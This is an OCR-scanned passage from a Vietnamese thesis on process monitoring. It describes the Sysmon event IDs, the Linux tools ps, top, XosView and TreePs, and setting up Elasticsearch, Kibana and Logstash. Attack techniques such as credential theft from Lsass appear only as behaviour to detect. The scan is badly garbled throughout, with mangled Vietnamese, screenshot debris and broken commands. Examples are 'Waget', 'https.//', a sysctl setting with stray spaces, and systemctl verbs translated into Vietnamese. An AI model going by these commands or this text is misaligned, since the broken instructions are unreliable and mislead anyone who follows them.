- Application events: su kién lién quan tdi cac chuong trinh chay, két qua hoan
thanh va cac van dé phat sinh khi chay chuong trinh

- Security events: lién quan téi cac van dé dam bao an toan nhu ding nhap,
dang xuit. ..

- Setup events: su kién lién quan téi cdu hinh, cai dat hé thong.

- System events: su kién lién quan t&i cac 1, canh béo trong hé thong.

bé dat duoc hiéu qua cao trong viéc gidm sat, theo ddi thong tin tién trinh trén
hé théng, Sysmon s€ chi thyc hié€n thu thap 22 su kién nhét dinh trén Windows nhung
van dam bao day du thong tin vé hoat dong cua tién trinh giup chuyén gia an ninh
mang nhanh chong ndm bt duge toan bo tién trinh hoat dong trén hé théng va dé

dang phat hién tién trinh doc. Cac sy kién ma Sysmon thu thap nhu sau:
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Céc tién trinh thu thap duoc bang Sysmon trén Event Viewer:

- Event ID 1: Process creation cung cap thong tin mo rong vé mot process méi
duoc tao.

- Event ID 2: A process changed a file creation time dugc dang ky khi thoi
gian tao tép dugc stra doi boi mot process su kién ndy giup theo ddi thoi gian tao thuc
su ctia mot tap tin. Ké tan cong co thé thay doi thoi gian tao tap tin dé 1am cho no
tréng gidng nhur né da dugc cai dat voi hé diéu hanh. Luu ¥ rang nhiéu quy trinh thay
d6i hop phéap thoi gian tao tép, n6 khong nhét thiét chi ra hoat dong doc hai.

- Event ID 3: Network connection 1a su kién két nbi mang ghi lai cac két ndi
TCP / UDP trén may. N6 bi tit theo mac dinh. Mdi két ndi duoc lién két voi mot quy
trinh thong qua cac truong ProcessID va ProcessGUID. Su kién nay ciing chtra tén
may chil nguén va dich dia chi IP, s6 port va trang thai IPv6.

- Event ID 4: Sysmon service state changed 1a sy kién thay doi trang thai dich
vu Sysmon (d4 bat dau hodc di ding).

- Event ID 5. Process terminated 1a qua trinh bao c4o su kién khi mét qua trinh
két thiic. N6 cung cap UtcTime, ProcessGuid va ProcessID cuia quy trinh.

- Event ID 6: Driver loaded cung cip thong tin vé driver dang dugc tai trén
hé théng.

- Event ID 7: Image loaded la nhat ky su ki¢n tai hinh anh khi mdt module
duoc tai trong mot process cu thé. Su kién nay nén dugc cAu hinh cén than vi giam
sat tit ca cac su kién tai hinh anh sé& tao ra mot s6 luong 16n céc su kién.

- Event ID 8: CreateRemoteThread sy kién CreatRemoteThread phat hién khi
mot tién trinh tao mot ludng trong tién trinh khic. K thuat nay dugc st dung bai
phan mém ddc hai dé tiém ma va an trong cc quy trinh khac. Su kién chi ra qua trinh
ngudn va dich. N6 cung cap théng tin vé ma s& duoc chay trong ludng méi:
StartAddress, StartModule va StartFunction. Luu ¥ rang cac truong StartModule va
StartFunction duoc suy ra, chung c6 thé trong néu dia chi bat ddu nam ngoai cac

module dugc tai hodc cac ham xuat da biét.
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- Event ID 9: RawAccessRead su kién RawAccessRead phat hién khi mot qua
trinh tién hanh cac hoat dong doc tur b dia béng cach st dung ky hi¢u “\.\”, K¥ thuat
nay thuong duoc st dung boi phﬁn mém doc hai dé loc dit liéu cta cac tép bi khoa dé
doc, cling nhu dé tranh cac cong cu kiém tra truy cap tép. Su kién chi ra qué trinh nguén
va thiét bi dich.

- Event ID 10: ProcessAccess la qua trinh truy cap bao cdo su kién khi mot
quy trinh m¢ ra mot quy trinh khac, mdt hoat dong thuong duoc theo sau boi cac
truy van thong tin hodc doc va ghi khong gian dia chi cta quy trinh dich. Diéu nay
cho phép phat hién céc cong cu hack doc ndi dung bd nhd cua cac quy trinh nhu
Local Security Agency (Lsass.exe) danh cap thong tin dang nhap dé sir dung trong
cac cudc tan cong Pass-the-Hash. Viéc kich hoat n6 ¢o thé tao ra sb luong ghi nhat
ky dang ké néu co céc tién ich chan doan hoat dong lién tuc mé cac quy trinh dé
truy van trang thai cia chung, do d6 thuong chi nén thyc hién véi cac bd loc loai bo
cac truy cap du kién.

- Event ID 11: FileCreate 1a hoat dong tao tap tin dugc ghi lai khi mdt tép tin
duoc tao hoac ghi d¢. Sy kién nay theo doi cac vi tri tu khéi dong nhu thu muc Startup,
cling nhu cac thu myc tai xudng tam thoi va 1a nhitng noi pho bién khién phan mém
ddc hai bi loai bo trong qua trinh 1ay nhiém ban dau.

- Event ID 12: RegistryEvent (Object create and delete) khoa dang ky va gia
tri khoi tao va x6a operations map theo loai sy kién nay, cod thé hitu ich cho viéc theo
ddi cac thay doi ddi véi cac vi tri ty khoi dong ctia S6 dang ky hodc phan mém thay
doi doc hai.

- Event ID 13: RegistryEvent (Value Set) xac dinh stra d6i gia tri Registry. Su
kién nay ghi lai gid tri dugc ghi cho céc gia tri Registry cua loai DWORD va
QWORD.

- Event ID 14: RegistryEvent (Key and Value Rename) Registry key va doi
tén operations map thanh loai sy kién nay, ghi lai tén mdi ctuia khoa hodc gia tri da

duoc doi tén.
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- Event ID 15: FileCreateStreamHash su ki¢n nay ghi lai khi tao mdt dong t&p
va no tao ra cac su kién ghi lai ham bam ndi dung cua t€p ma luéng duoc géan cling
nhu ndi dung cua ludng duoc dit tén.

- Event ID 17: PipeEvent (Pipe Created) su kién nay tao ra khi dudng dng
dugc tao ra. Phan mém ddc hai thuong st dung cac duong 6ng dugc dat tén dé lién
lac gifra cac qua trinh.

- Event ID 18: PipeEvent (Pipe Connected) su kién nay ghi lai khi két ndi
duong dng dugc thuc hién gitta may khach va may chu.

- Event ID 19: WmiEvent (WmiEventFilter activity detected) khi b0 loc su
kién WMI dugc dang ky, ddy 1a phuong thire dugc phan mém doc hai st dung dé
thue thi, sy kién nay s& ghi lai khong gian tén WMI, tén bd loc va biéu thic loc.

- Event ID 20: WmiEvent (WmiEventConsumer activity detected) su kién
nay ghi lai dang ky ctia nguoi tiéu dung WMI, ghi lai tén nguoi dung, nhat ky va
dich dén.

- Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected) khi
nguoi ti€u dung lién két v6i bo loc, su kién nay s€ ghi lai tén nguoi ti€u dung va
duodng dan bo loc.

- Event ID 22: DNSEvent (DNS query) su kién nay tao ra khi mot qua trinh
thuc hién truy van DNS, cho du két qua thanh cong hay that bai, duoc luu trit hay
khong. Su kién nay da dugc thém tir Windows 8.1 vi vay né khong cé san trén
Windows 7 tr& vé trude.

- Event ID 255: Error su kién ndy dugc tao khi x4y ra 16i trong Sysmon. Chiing
c6 thé xay ra néu hé théng chiu tai ndng va khong thé thuc hién mot s6 nhiém vu nhat
dinh hodc c6 16i trong dich vu Sysmon.

Ngudi dung c6 thé str dung cong cu Event Viewer mic dinh trén Windows va
truy cap duong dian “Applications and Services Logs/Microsoft/Windows/
Sysmon/Operational” dé theo ddi thong tin vé nhat ky su kién lién quan t6i tién trinh

ma Sysmon thu thap.
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E Event Viewer

File Acton View Help
e |7mlEE
BT | Operational - Number of events: 1,291

E3)

~| RemoteApp and
| RemoteAssistan Date and Time | Source |
“| RemoteDesktop! 6/25/20209:27:10PM  Sysmon 1 Process Create (rule: ProcessCreate)
“| ResourceExhaL @Informaﬁon 6/25/20209:27:10PM  Sysmon 1 Process Create (rule: ProcessCreate)
“| Resource-Exhat @Informaﬁon 6/25/2020 9:26:46PM  Sysmon 1 Process Create (rule: ProcessCreate)
_| Resource-Leak{ @Informatjon 6/25/2020 9:26:45PM  Sysmon 1 Process Create (rule: ProcessCreate)
o RestartManager @Informaﬁon 6/25/2020 9:23:58PM  Sysmon 11 File created (rule: FileCreate)
| Security-Audit-C @Information 6/25/2020 9:21:53PM  Sysmon 13 Registry value set (rule: RegistryEvent)
4 Security-Identit: |l (§) Information 6/25/20209:19:42PM  Sysmon 1 Process Create (rule: ProcessCreate)
= Sgrwce Reportit |l () Information 6/25/20209:19:42PM  Sysmon 1 Process Create (rule: ProcessCreate)
- StickyNotes @Informaﬁon 6/25/20209:19:42PM  Sysmon 1 Process Create (rule: ProcessCreate)
B L Sysmon ol @Information 6/25/20209:13:42PM  Sysmon 1 Process Create (rule: ProcessCreate)
. gg:zh?n @Informaﬁon 6/25/20209:19:33PM  Sysmon 13 Registry value set (rule: RegistryEvent)
¥ askScheduler

= - . ) Information 6/25/20209:19:33PM  Sysmon 13 Registry value set (rule: RegistryEvent)
TerminalServices
= TerminalService: @Informaﬁon 6/25/2020 9:18:53 PM Sysmon 3 Network connection detected (rule: NetworkConnect)
= TerminalService: @Informat’on 6/25/20209:18:52PM  Sysmon 1 Process Create (rule: ProcessCreate)
= TerminalServices @Informah‘on 6/25/2020 9:18:52PM Sysmon 1 Process Create (rule: ProcessCreate)
| TerminalServices (i) mformation 6/25/20209:18:52PM  Sysmon 1 Process Create (rule: ProcessCreate)
120t @Informah‘on 6/25/20209:18:26PM  Sysmon 1 Process Create (rule: ProcessCreate)
| uac @Informaﬁon 6/25/20209:17:07PM  Sysmon 1 Process Create (rule: ProcessCreate)
“| UACileVirtualiz @Informaﬁon 6/25/20209:17:06PM  Sysmon 1 Process Create (rule: ProcessCreate)
7] User Profile Sen | [LERet— - —— 2

Hinh 2.8. Théong tin sw kién Windows Sysmon thu thép

Vé6i mbi sy kién Windows, Sysmon thyc hién thu thap dau di thong tin nhu sau:

- Thoi gian tao su kién.

-ProcessGuid: dung dé lién két, twong quan gitra cac su kién.

-Image: tap tin khéi tao tién trinh.

- FileVersion: phién ban tap tin.

- Thong tin lién quan toi tap tin khdi tao tién trinh (Company, Product,
Desciption...).

- CommandLine: dong 1énh khoi tao tap tin.

- CurrentDirectory: thu muyc luu trir tap tin.

- User: thong tin tai khoan tao tién trinh.

- LogonGuid: thong tin phién dang nhap.

- LogonID: dinh danh phién ddng nhép.

- Hashes: ma hash cua tép tin.

- ParentProcessGuild: thong tin Guid cua tién trinh cha ding dé lién két, twong

quan gilra cac sy kién.
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Ix

E Event Properties - Event 1, Sysmon

General I Details I

Process Create: 1=
RuleName: -

UtcTime: 2020-06-25 14:19:42.894

ProcessGuid: {cd262058-b27e-5ef4-73le-0d0000000000}

Processld: 2748

Image: C:\Windows\System32\wsqmcons.exe

FileVersion: 6.1.7601.17514 (win7spl_rtm.101119-1850)

Description: Windows SQM Consolidator

Product: Microsoft® Windows® Operating System

Company: Microsoft Corporation

OriginalFileName: wsqmcons.exe

CommandLine: C\Windows\S 32\wsgmcons.exe

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

LogonGuid: {cd262058-b1c5-5&f4-€703-000000000000}

Logonld: 0x3e7

TerminalSessionld: 0

IntegritylLevel: System =
Hashes: MD5=22DE9DFF5565B00F230EACOC635DAEB7, SHA256=

45F48 A7BOE6BA40DSE943B05912E000F6264B5707 COET0AES140C84F745B7D1 C IMPHASH=6199B3F7B851154BC163FE8A178B52CD

al O

ParentProcessGuid: {cd262058-bl c4-5ef4-8fcb-000000000000} l]
Log Name: Microsoft-Wind Sysmon/Op

Source: Sysmon Logged: 6/25/2020 9:19:42 PM

Event ID: 1 Task Category: Process Create (rule: ProcessCreate)

Level: Information Keywords:

User: SYSTEM Computer: WIN-VL5HODCU6CF

OpCode: Info

More Information: Event Log Online Hel,

Hinh 2.9. Théng tin su kién Sysmon thu thap

Véi viée str dung Sysmon, chuyén gia an ninh mang c6 thé sir dung cong cu
dé kiém toan, theo ddi, giam sat hé thong dé phat hién nhing hanh vi bat thuong cia
tién trinh, tim kiém nhiing tién trinh bat thuong chay trén Windows, phat hién nhiing
két ndi bat thuong dén nhiing dia chi IP nghi ngd, phat hién thay ddi tip tin va nhiing

truy van DNS doc hai.
2.2. Mot s6 phwong phap va ky thuit thu thip tién trinh Linux

Céu triic co s& cua Linux khac biét hoan toan so v&i Windows. Trong khi
Windows duy tri mdt hé théng cAu tric kha chuan, véi cac ban cap nhat va cac phién
ban phén ting, thi Linux lai phirc tap hon rat nhiéu. Puoc viét ban dau boi sinh vién
Phéan Lan 13 Linus Torvalds, hat nhan Linux ngdy nay tré thanh co sé cho tat ca cac
hé diéu hanh Linux. Tuy nhién, vi n6 1a mt ma nguén md, hé théng c6 thé duoc tinh
chinh va sira d6i boi bt ky ai tiy theo muc dich sir dung. Do vay, ngay nay c6 dén
hang tram h¢ diéu hanh dya trén Linux duoc dit tén riéng biét, chung duoc goi la cac
ban phan phdi. Nguoi dung sé& khong thé tim thdy thu myc My Documents trén
Ubuntu hay Program Files trén Fedora, ciing khong c6 cac 6 dia C: hay D: xuét hién.

Thay vao d6, cdu truc tap tin trong Linux dugc bo tri theo dang cay dir liéu.
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Hinh 2.10. Céu triic tip tin trén Linux

Chinh vi 1y do d6, ma viéc gidm sat tién trinh trén hé diéu hanh Linux s& dé
dang hon Windows do d¢ tuy bién cao, tuy nhién cac cong cu gidm sat tién trinh trén

Linux s& khong dugc truc quan va da sé 1a dung dong 1énh.
2.2.1. Process Status

Process Status (PS) 1a mot tién ich ctia Unix/Linux dung dé theo ddi, giam sat
thong tin cua céc tién trinh dang chay trong h¢ théng. PS duoc sir dung dé liét ké cac
tién trinh hién dang chay bao gém ca PID (Process ID) cua tién trinh giup hé diéu
hanh phan biét cac tién trinh chay trén hé théng cung véi mot sd thong tin khac phu
thudc vao cac tily chon khac nhau. PS doc thong tin lién quan t6i tién trinh tir tap tin
o tai duong dan /proc file-system.

PS cung cap nhiéu tity chon khac nhau dé ngudi ding c6 thé lya chon truy xuét
thong tin can thiét lién quan t6i tién trinh, dé sir dung coéng cu ndy, ngudi dung st
dung cu phap nhu sau:

PS [tuy chgn]

Khi PS duoc sir dung ma khong cé bat ky tiy chon nao, n6 s& giri dén dau ra
tiéu chuén (man hinh hién thi) theo cu hinh mic dinh véi bon thong tin co ban va it
nhat 14 hai tién trinh dang chay trén hé théng: shell va PS. Shell 1d mot chuong trinh

cung cap giao dién nguoi dung truyén thdng trén Linux, chi hién thi van ban thuin
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tay dé ngudi dung twong tac bang dong 1énh. Ban than PS ciing 1 mét tién trinh va
n6 két tiic ngay khi hién thi théng tin truy xuat thanh cong.

Bén thong tin co ban cta PS cung cap bao gdom:

- PID: Process ID cua tién trinh chay trén hé théng, mdi tién trinh s& c6 mot
PID riéng bi¢t.

- TTY (Terminal type): 1a tén cla ban diéu khién hoic thiét bi dau cubi ma
nguoi ding di dang nhap, ciing c6 thé dugc tim thiy bang cach sir dung 1énh tty.
Thong tin nay chi hitu ich trén mang nhiéu ngudi ding.

- TIME: Tong thoi gian ciia CPU tinh theo phut va gidy ma tién trinh di chay
trén hé thong

- CMD: 1a 1énh dugc chay khi tién trinh duge khoi tao.

[root@rhel? ~]# ps

PID TTY TIME CMD
12330 pts/@ 00:00:00 bash
21621 pts/0 00:00:00 ps

Hinh 2.11. PS truy xuit thong tin tién trinh co ban

Phuong phap thong dung va quen thuoc khong chi dugc wa chudng su dung
bdi cac chuyén gia an ninh mang ma ngay ca cac nha phat trién phadn mém khi thuc
hién theo doi, gidm sat tién trinh trén hé théng Unix/Linux la thyc hién 1énh PS véi
cac tuy chon sau:

PS -aux | less

Trong do6:

-a: 1a tiy chon yéu cau PS liét ké céc tién trinh cla tit ca nguoi dung trén hé
thong thay vi chi c4c tién trinh ctia ngudi dung hién tai, ngoai trir cc tién trinh khong
lién quan t&i thiét bi dau cudi.

-u: 1 tiiy chon yéu cau PS cung céap thong tin chi tiét vé timg tién trinh.

-x: 1a tuy chon thém vao cac tién trinh danh sach khong c6 thiét bi dau cudi

kiém soat, chang han nhu daemons, 1a cac chuong trinh duoc khoi chay trong quéa
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trinh khoi dong va chay khong r6 rang trong nén cho dén khi chung dugc kich hoat
boi mot sw kién hodc diéu kién cuy thé.

Vi danh séch c4c tién trinh c6 the kha dai va chiém nhiéu hon mot man hinh,
dau ra cia PS -aux c6 thé dugc hién thi it hon, cho phép nguoi ding xem thong tin
vira mQt man hinh trong moét thoi diém.

B hvktmm@192.168.1.9:22 - Bitvise xterm - hvktmm@hvktmm: ~ - O X

PID %CPU %MEM STAT START COMMAND
1 0.7 0.2 ? Ss 23:06 i /sbin/init auto automatic-ubiquity

23:06
23:06
23:06
23:06
23:06
PEHI
23:06
23:06
23:06
23:06
23:06
23:06
23:06
23:06
23:06
23:06

[kthreadd]
[kworker/0©:0H]
[mm_percpu_wq]
[ksoftirqd/0]
[rcu_sched]
[rcu_bh]
[migration/@]
[watchdog/0]
[cpuhp/@]
[kdevtmpfs]
[netns]
[rcu_tasks_kthre]
[kauditd]
[khungtaskd]
[oom_reaper]
[writeback]

A A

A

0.0
0.0
0.0
0.1
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0
0.0

OO0 OOO®O®
OO 0O O®O®
OO0
OO0 OOO®OO®
HUuWVMWVMWMHEHWMWVNWNWNHKMKWNHEKFEWN
OO OO O®O®

A

Hinh 2.12. Théng tin truy xuit tién trinh st dung cdng cu Process Status

Ngoai bon trudng thong tin co ban dd duogc trinh bay & phan trude, véi 1énh
PS -aux, nguoi ding sé truy xuat thém dugc cac thong tin khac nhu VSZ (Kich thudc
ao tinh bang kilobytes), RSS (kich thudc bd nhé va kich thudc bo thuong tra theo
don vi 1024 byte), STAT (ma trang thai qua trinh), START (thoi gian bat dau khai

tao tiéng trinh).
2.2.2. Top

Top 1a cong cu Unix khac duoc sir dung rong rii giéng nhu PS va c6 kha ning
cap nhat thong tin tién trinh theo thoi gian thuc. Top 1a mot trong nhimng cong cu dugc
st dung nhiéu nhét dé theo ddi hiéu sudt thoi gian thyc cua cac tién trinh trong h¢
thong Unix ké tir khi dugc gidi thidu tir nim 1984 trong BSD Unix4.1.

Top tao ra mot danh sach tit ca cac tién trinh hién dang chay, dugc sap xép

theo thtr tu str dung CPU. Tién trinh st dung CPU nhiéu nhat s& duoc xép trén dau
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danh sach. Danh sach nay dugc cap nhat mac dinh lién tuc theo cac khoan thoi gian

nam gidy va cd cac tuy chon dé rut ngan hoac kéo dai thoi gian cap nhat.

B hvktmm@192.168.1.9:22 - Bitvise xterm - hvktmm@hvktmm: ~ - O X

top - 23:21:18 up 14 min, 1 user, load average: 0.02, 0.07, 0.09

Tasks: 159 total, 1 running, 85 sleeping, 1 stopped, © zombie

%Cpu(s): 0.0 us, 0.7 sy, 0.0 ni, 99.3 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 4015816 total, 2548352 free, 254128 used, 1213336 buff/cache

KiB Swap: 4015100 total, 4015100 free, 0 used. 3490088 avail Mem

%CPU %MEM TIME+ COMMAND

top
kworker/0:1
systemd
kthreadd
kworker/0:0H
mm_percpu_wq
ksoftirqd/0
rcu_sched
rcu_bh
migration/@
watchdog/0
cpuhp/0

hvktmm 42804
root 0
root 77844
root

[~
[

root
root
root
root
root
root
root

C
0
0
0
0
0
0.
0
0
0
0
0
root %]

OO OO OO0
OO OO0 ®
OO OO OO0
O OO OO0 OO0 WN
OO OO OO OO ®
OO O OO OO OO N®
O OO OO DO OO

Hinh 2.13. Théng tin tién trinh Top thu thap

Top cung cap mot s6 thong tin chung vé hé thong va cac thong s6 do luong vé
hoat dong cua h¢ théng nhu:

- Thoi gian hé théng di chay.

- Trung binh tai ctia hé théng.

- M6t ban tom tat cac tién trinh dang chay va trang thai chung ciia chung.

- Ti 1& phan tram trung binh chay ctia CPU ¢ mdi trang thai.

- Thong ké bd nhd.

- Théng ké thong tin Swap.

P hvktmm(@192.168.1.9:22 - Bitvise xterm - hvktmm@hvktmm; ~

top - 23:23:25 up 16 min, 1 user, load average: 0.00, 0.04, 0.08
Tasks: 159 total, 1 running, 85 sleeping, 1 stopped, © zombie
%Cpu(s): ©.3 us, 0.7 sy, 0.0 ni, 99.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st

KiB Mem : 4015816 total, 2547600 free, 254652 used, 1213564 buff/cache
KiB Swap: 4015100 total, 4015100 free, 0 used. 3489536 avail Mem

Hinh 2.14. Théng tin do lwong vé hé thong ciia Top
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Déi véi tién trinh, Top thu thap mot luong 16n thong tin bao gdm nhiing thong
tin nhu sau:

- PID: ProcessID giup hé diéu hanh dinh danh tién trinh dang hoat dong trén
hé thong.

- USER: tai khoan khéi tao tién trinh.

- PRI: mirc d6 vu tién cua tién trinh.

- NI: gié tri Process nice.

- Size: kich thudc bd nhé tién trinh sir dung (bao gém ca kich thudc ma).

- STATE: trang thai cua hié¢n tai cta tién trinh.

- TIME: tong thoi gian CPU hoat dong khi chay tién trinh.

- %CPU: phan tram CPU duoc sir dung dé chay tién trinh.

- %MEM: phan trim bo nhé duoc sir dung dé chay tién trinh.

- COMMAND: Lénh thuc thi khi tién trinh duoc khéi tao.

Tt ca cac truong thong tin nay ¢ thé dugc cdu hinh hién thi trong Top hodc
khong va co6 mot sd truong khac co thé duoc hién thi bao gdm s thong tin lién quan
t6i dung lugng vat 1y sir dung. Ngoai viéc hién thi tat ca thong tin nay, Top con cho
phép ngudi ding thao cac voi cac tién trinh ¢ ché d6 han ché, trong ché d6 nay ngudi

dung c6 thé chdm dut thiét 1ap wu tién véi cac tién trinh.

Bang 2.3. Tham s6 chinh cho Iénh top

Tham s6 Mo ta
-h Hién thi phién ban hién tai
" TI}am ) nay chuyén ddi trang thai cot Iénh tu hién thi 1énh sang
hién thi t€n chuong trinh va nguoc lai
-d Chi dinh thoi gian tré khi lam méi man hinh
-0 Séap xép theo trudng duoc dit tén
P Chi hién thi cac tién trinh v&i ID duoc chi dinh
-u Chi hién thi nhiing tién trinh cta ngudi dung duoc chi dinh
- Khong hién thi cac idle task
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Khi st dung cong cu Top, ngudi dung cé thé tuong tac truc tiép véi cong cu

bang céach st dung cac phim nong.

Bang 2.4. Cac phim néng st dung trong cong cu Top

Phim nong Mo ta
Return hodc Space Ngay lap tirc cap nhat théng tin tién trinh
D hoic S Thay doi thoi gian tré
H Hién ludng c4 nhan cho tat ca cac tieesnt rinh
I Chuyén d6i dé tién trinh Idle s& dugc hién thi
L Xac dinh vi tri chudi
<,> Chon truong dé sip xép
K Két thac mot t_i;én trinh. Nguoi dung s& dugc nhic nho
nhap PID cua tién trinh
Y% Viét mét tap tin cau hinh
H Mo tap tin tro gitp
Q Két thiic chuong trinh

2.2.3. XOS View

Xosview OS Monitor (XosView) 1a cong cu giam sat hiéu sudt hé théng thoi
gian thyc cung cap giao dién d6 hoa cho cac hé théng Unix. Pay 1a cong cu don gian
50 VGi cac cong cu dugc mo ta tir trude cho dén nay vi nd khong giam sat cac tién
trinh don 1¢, thay vao do6 chi giam sat toan by hé théng. Man hinh xosview hién thi
biéu dd ctiia mot sb tham sb hitu ich bao gém viéc sit dung CPU dugc phan chia theo

ki€u tién trinh va trung binh tai cta tién trinh.
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Hinh 2.15. Théong tin h¢ thong thu thap béi XosView

Danh sach cac thong tin hé thong ma cong cy thu thap gom:
- Tai trung binh.

- Murc d6 st dung CPU.

- Murc d6 st dung b nhd.

- Khong gian kich thudc swap.

- Page swapping.

- Murc 36 st dung b dia.
2.2.4. TreePS

TreePs 13 cong cu giam sat tién trinh thoi gian thuc cung cap dod hoa cho céc
hé théng Unix chay X Window System. TreePs c6 kha ning tu dong cap nhat thong
tin theo thoi gian thuc vé cac hoat dong cua tién trinh, 1€iy mau dit liéu cho cac tién
trinh hoat dong nhiéu va it hoat dong. TreePs hién thi tat ca cic truong tir cdu triic
cta tién trinh bao gém: thoi gian CPU chay, bd nhé hién tai dugc st dung va mdt sb
thong tin co ban vé tién trinh nhu ProcessID, tién trinh cha. Tt ca thong tin chi tiét

c¢6 thé duoc hién thi biang cac tily chon vao mot tién trinh tir cdy phén cap.
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Hinh 2.16. Théng tin tién trinh thu thap béi cong cu TreePs

TreePs cung cap kha ning kiém soat tién trinh c6 gidi han tuong tu nhu trinh

quan 1y tac vu trong Windows. Tir cac TreePs, tién trinh c6 thé bi két thuc hodc tam

dirng. Ngoai ra, TreePs chi dé theo ddi thoi gian thuc va n6 khong c6 kha nang luu

nhat ky.
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2.3. Sir dung giai phap ELK dé thu thap tién trinh bat thuong

2.3.1. Tong quan vé gidi phdp ELK

Application Site Enterprise Logei
Search . Seach . Search . 0EINg )
; i Business @ Security
il AR Analytics Analytics
0
Visualize
\ Al
Elasticsearch Store Search & Analyze
: .I Logstash Ingest
(]
Saas Self Managed
P clstic Cloud e Elastic Cloud Standalone Deployment
( J Enterprise

Hinh 2.17. M hinh téng quan cic thanh phan

Elastic stack 13 tdp hop ba phdn mém di chung v&i nhau, phuc vu cong viée
lru lai log. Ba phan mém nay:

- Elastic Search: Co s dir liéu dé luu trit, tim kiém va query log

- Logstash: Tiép nhan log tir nhiéu ngudn, sau d6 xir 1y log va ghi dit liéu vao
Elasticsearch

- Kibana: Giao dién dé quan 1y, théng ké log. Poc thong tin tir Elasticsearch.

- Piém manh cua ELK 1a kha nang thu thap, hién thi, truy van theo thoi gian

thuc. C6 thé dap ung truy van mot lugng dir liéu cuc 16n.
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2.3.2. Mo ta hoat dpng cua ELK

Data Data

Storage Visualize
Collection Processing
beats ‘
logstash elasticsearch kibana
© guru99.com

Hinh 2.18. Thanh phan ELK

- Piu tién, log s& dugc dua dén Logstash. (Thong qua nhiéu con dudng, vi du
nhu server gui UDP request chura log t61 URL cua Logstash, hodc Beat doc file log
va gui lén Logstash).

- Logstash s& doc nhitng log nay, thém nhirng thong tin nhu thoi gian, IP, parse
dir ligu tr log (server nao, do nghi€m trong, ndi dung log) ra, sau d6 ghi xuéng
database 1a Elasticsearch.

- Khi mubn xem log, ngudi dung vao URL cua Kibana. Kibana s& doc thong

tin log trong Elasticsearch, hién thi 1én giao dién cho ngudi dung query va xu 1y.
2.4. Két luan Chwong 2

Két thuc chuong 2, luan van da trinh bay dugc vé cac phuong phap, cong cu
thu thap dir liéu nhat ky, thong tin lién quan ti tién trinh trén hé thong Windows va
Linux. Trong chuong tiép theo luin vin tip trung nghién ciru, xay dung tmg dung

phat hién tién trinh doc trén may nguoi dung.
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CHUONG 3: CAI PAT VA THU NGHIEM PHAT HIEN TIEN
TRINH BAT THUONG TREN MAY NGUOI DUNG SU
DUNG HE PIEU HANH WINDOWS

3.1. Cai diit cAu hinh Elasticsearch

(Thiét 1ap cho hé diéu hanh Ubuntu)

Cai dat phu thudc:

- Elasticsearch phu thudc vao Java. Pua ra cac 1énh sau dé cai dat phén
phu thudc:

Sudo add-apt-repository ppa:webupdSteam/java

sudo apt-get update

sudo apt-get install oracle-java8-installer —y

- Pé cai dat Elasticsearch, hay thuc hi¢n cac 1énh sau:
Waget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.7. 1.deb

sudo dpkg -i elasticsearch-7.7.1.deb

- M6 tép céu hinh Elasticsearch bang lénh:

sudo nano /etc/elasticsearch/elasticsearch.yml
- Cubi cing, khoi dong va kich hoat dich vu bang 1énh:
sudo systemctl enable elasticsearch.service

sudo systemctl start elasticsearch.service

- Trd trinh duyét web téi http: // SERVER _1P: 9200 / cat / health? V (trong
d6é SERVER 1P la dia chi IP cua may chu luu trit):
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name: "instance-capstone"”,

cluster_name: "elasticsearch”,

cluster_uuid: "eMYbBDrVSxCuN1lb_vgPu6Q",

- version: {

number: "7.7.1",
build_flavor: "default”,
build_type: "deb",
build_hash: "ad56dce891c901a492bblee393f12dfff473a423",
‘build_date: "2020-05-28T16:30:01.040088Z",:
build_snapshot: false,
lucene_version: "8.5.1",
minimum_wire_compatibility_version: "6.8.0",
minimum_index_compatibility_version: "6.0.0-betal”

}s

tagline: "You Know, for Search"

Hinh 3.1. Giao di¢n ciu hinh Elasticsearch

d; vendor preset: enabled)
UTC; 3 weeks 5 days ago

-Xshare:auto -Des.n che.tt1=60 -Des.networkaddres
ck-ml/platform/linux roller

Wlarning: Journal has been rotated since unit was started. Log output is incomplete or unavailable.

Hinh 3.2. Kiém tra dich vu hoat dong
3.2. Cai diit cAu hinh Kibana

wget https.//artifacts.elastic.co/downloads/kibana/kibana-7.7.1-amd64.deb
sudo dpkg -i kibana-7.7.1-amd64.deb

- Cau hinh Kibana bang cach mé tép cdu hinh bang lénh:

sudo nano /etc/kibana/kibana.yml

- Tim cac dong sau:

# server.host: "localhost”

#asticsearch.url: "http: // localhost: 9200"
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- Thay d6i nhitng dong d6 thanh:

server.host: "SERVER _IP"

asticsearch.url: "http: // SERVER IP: 9200"

Trong d6 SERVER 1P la dia chi IP cia may chu luu trir. Luu va dong tép do.

- Cubi cung, dua ra I¢nh sau:

sudo sysctl -w vm.max_map_count = 262144

- Khoi dong lai may chu. Sau khi may chu khoi dong lai, hay khoi dong va bat
dich vu Kibana béng cac lénh:

sudo systemctl cho phép kibana.service

sudo systemctl start kibana.service

- Kiém tra dich vu hoat dong:

o kibana.service - Kibana
Loaded: loaded (/etc/systemd/system/kibana.service; enabled; vendor preset: enabled)
A I-H since Sat 2020-08-81 04:26:16 UTC; 3 weeks 1 days ago

ibana.service
a/bin/../node/bin/node /usr/share/kib in/../src/cli -c /etc/kibana/kibana.yml

-capstone kibana

stone kibana

[QUENE

kibana

kibana

3 ce-capstone kibana

5 instance-capstone kibana

instance-capstone kibana 0
instance ne kibana { imesta -08-23T

instance-caps kibana ¢ {"type":"response","@timestamp":"2020-08-23715:44:

Lines 1-18/18 (END

Hinh 3.3. Kiém tra dich vu hoat dong

3.3. Cai dit va cau hinh Logstash

Logstash 1a phuong tién dé thém dir liéu vao Elasticsearch. Dé cai dit cong cu
nay, hdy dua ra cac I¢énh:

wget https.//artifacts.elastic.co/downloads/logstash/logstash-6.3.2.deb

sudo dpkg -i logstash-6.3.2.deb

- M6 tép céu hinh Logstash bang 1énh:

sudo nano /etc/logstash/logstash.yml



- Thay d6i dong sau:
# http.host: "127.0.0.1"
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- X6a ky tu # va thay d6i dia chi IP IP may chu luu trir. Luu va dong tép do.

- Khoi dong va kich hoat dich vu Logstash béng cac 1€nh:

sudo systemctl kich hoat logstash.service

sudo systemctl start logstash.service

- Tro trinh duyét toi http://SERVER_IP: 5601 va san sang bat dau hoat dong.

- Kiém tra dich vy cua hé théng:

o logstash.service - log
Loaded: loaded (/et
Active: e (r

